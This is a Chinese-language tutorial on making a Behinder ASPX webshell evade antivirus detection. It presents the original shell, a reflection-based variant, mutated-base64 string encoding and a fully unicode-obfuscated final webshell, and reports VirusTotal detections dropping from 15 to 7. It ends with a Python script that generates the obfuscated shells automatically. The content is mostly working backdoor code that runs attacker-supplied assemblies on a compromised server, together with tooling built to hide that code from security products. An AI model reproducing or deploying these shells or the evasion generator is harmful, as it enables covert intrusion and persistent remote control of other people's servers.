Webshell的文件免杀可参考以下链接,通过unicode编码就可以实现

https://xz.aliyun.com/t/10937

https://github.com/cseroad/Webshell_Generate

但当有卡巴斯基等杀软时,虽然aspx、ashx、asmx文件没有被杀

但编译产物会被杀导致无法连接webshell,以冰蝎aspx的webshell为例

1
2
3
4
5
6
7
8
<%@ Page Language="C#" %>
<%@Import Namespace="System.Reflection"%>
<%
Session.Add("k","e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
%>

virustotal很多上杀软都能检测到Webshell特征: 报告链接

分析编译产物

无效变换

通过dnspy反编译和不断测试,以下方法的变换对于编译产物而言没有任何影响

1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释
7、字符串常量的拼接,如”Load”替换为”Lo”+”ad”

查杀特征

经过测试杀软对以下特征查杀较多

  1. 方法调用
    1. AES解密: System.Security.Cryptography.RijndaelManaged
    2. 内存加载程序集: System.Reflection.Assembly.Load
  2. 字符串常量

免杀思路

方法调用免杀

通过反射的方式来调用敏感方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ Page Language="C#" %>
<%
Session.Add("k","e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + ""), c = Request.BinaryRead(Request.ContentLength);
// aes decrypt
Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
object aes = Activator.CreateInstance(t1);
var decryptor = t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) });
var transform = decryptor.Invoke(aes, new object[] { k, k });
byte[] data = ((System.Security.Cryptography.ICryptoTransform)transform).TransformFinalBlock(c, 0, c.Length);
// load assembly
Type t2 = Type.GetType("System.Reflection.Assembly");
var load = t2.GetMethod("Load", new Type[] { typeof(byte[]) });
var assembly = load.Invoke(null, new object[] { data });
// call assembly
var createInstance = t2.GetMethod("CreateInstance", new Type[] { typeof(string) });
var instance = createInstance.Invoke(assembly, new object[] { "U" });
instance.Equals(this);
%>

字符串常量免杀

通过变异的base64来编码字符串常量,如"Load"修改为

System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("T(G(9(h(Z(A(=(=".Replace("(","")))

unicode编码

为了保证aspx的免杀,仍使用unicode编码

最终效果

aspx内容

1
<%@ Page Language="C#"%><%\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("a$w$=$=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("$",""))), \u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Z{T{Q{1{Z{T{M{y{O{W{Z{l{Y{j{V{k{O{T{I{1{Y{g{={=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("{",""))));byte[] k = \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0044\u0065\u0066\u0061\u0075\u006c\u0074.\u0047\u0065\u0074\u0042\u0079\u0074\u0065\u0073(\u0053\u0065\u0073\u0073\u0069\u006f\u006e[0] + "");byte[] c = \u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0042\u0069\u006e\u0061\u0072\u0079\u0052\u0065\u0061\u0064(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068);\u0054\u0079\u0070\u0065 t1 = \u0054\u0079\u0070\u0065.\u0047\u0065\u0074\u0054\u0079\u0070\u0065(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("U!3!l!z!d!G!V!t!L!l!N!l!Y!3!V!y!a!X!R!5!L!k!N!y!e!X!B!0!b!2!d!y!Y!X!B!o!e!S!5!S!a!W!p!u!Z!G!F!l!b!E!1!h!b!m!F!n!Z!W!Q!=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("!",""))));\u0054\u0079\u0070\u0065 t2 = \u0054\u0079\u0070\u0065.\u0047\u0065\u0074\u0054\u0079\u0070\u0065(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("U)3)l)z)d)G)V)t)L)l)J)l)Z)m)x)l)Y)3)R)p)b)2)4)u)Q)X)N)z)Z)W)1)i)b)H)k)=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065(")",""))));    t2.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Q^3^J^l^Y^X^R^l^S^W^5^z^d^G^F^u^Y^2^U^=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("^",""))), new \u0054\u0079\u0070\u0065[] { typeof(string) }).\u0049\u006e\u0076\u006f\u006b\u0065(t2.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("T|G|9|h|Z|A|=|=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("|",""))), new \u0054\u0079\u0070\u0065[] { typeof(byte[]) }).\u0049\u006e\u0076\u006f\u006b\u0065(null, new object[] { ((\u0053\u0079\u0073\u0074\u0065\u006d.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006f\u0067\u0072\u0061\u0070\u0068\u0079.\u0049\u0043\u0072\u0079\u0070\u0074\u006f\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d)t1.\u0047\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064(\u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("Q%3%J%l%Y%X%R%l%R%G%V%j%c%n%l%w%d%G%9%y".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("%",""))), new \u0054\u0079\u0070\u0065[] { typeof(byte[]), typeof(byte[]) }).\u0049\u006e\u0076\u006f\u006b\u0065(\u0041\u0063\u0074\u0069\u0076\u0061\u0074\u006f\u0072.\u0043\u0072\u0065\u0061\u0074\u0065\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065(t1), new object[] { k, k })).\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d\u0046\u0069\u006e\u0061\u006c\u0042\u006c\u006f\u0063\u006b(c, 0, c.\u004c\u0065\u006e\u0067\u0074\u0068) }), new object[] { \u0053\u0079\u0073\u0074\u0065\u006d.\u0054\u0065\u0078\u0074.\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0055\u0054\u0046\u0038.\u0047\u0065\u0074\u0053\u0074\u0072\u0069\u006e\u0067(\u0053\u0079\u0073\u0074\u0065\u006d.\u0043\u006f\u006e\u0076\u0065\u0072\u0074.\u0046\u0072\u006f\u006d\u0042\u0061\u0073\u0065\u0036\u0034\u0053\u0074\u0072\u0069\u006e\u0067("V<Q<=<=".\u0052\u0065\u0070\u006c\u0061\u0063\u0065("<",""))) }).\u0045\u0071\u0075\u0061\u006c\u0073(this);%>

编译产物

virustotal报告

从15个检出降低到7个: virustotal报告

自动生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import re
import base64
import random

BEHINDER = '''
Session.Add("k", "e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
Type t2 = Type.GetType("System.Reflection.Assembly");
t2.GetMethod("CreateInstance", new Type[] { typeof(string) }).Invoke(t2.GetMethod("Load", new Type[] { typeof(byte[]) }).Invoke(null, new object[] { ((System.Security.Cryptography.ICryptoTransform)t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) }).Invoke(Activator.CreateInstance(t1), new object[] { k, k })).TransformFinalBlock(c, 0, c.Length) }), new object[] { "U" }).Equals(this);
'''


def replunicode(m):
old = m.group(1)
new = "".join([f'\\u{ord(c):04x}' for c in old])
return m.group(0).replace(old, new)


def unicode(cs):
return re.sub(r'[^"]\b([A-Z]\w+)\b', replunicode, cs)


def replstr(m):
old: str = m.group(0)
if len(old) == 2:
return old
old = old[1:-1]
b64str = base64.b64encode(old.encode('utf-8')).decode('ascii')
pad = random.choice("!@#$%^&*(){}:<>?.,;[]-|")
new = pad.join(list(b64str))
return f'System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("{new}".Replace("{pad}","")))'
def rstr(cs):
return re.sub(r'".*?"', replstr, cs)

src = unicode(rstr(BEHINDER)).replace('\n','')
print(f'<%@ Page Language="C#"%><%{src}%>')

在线运行地址: https://playground.programiz.com/?share_id=0CceyIFkcp5zp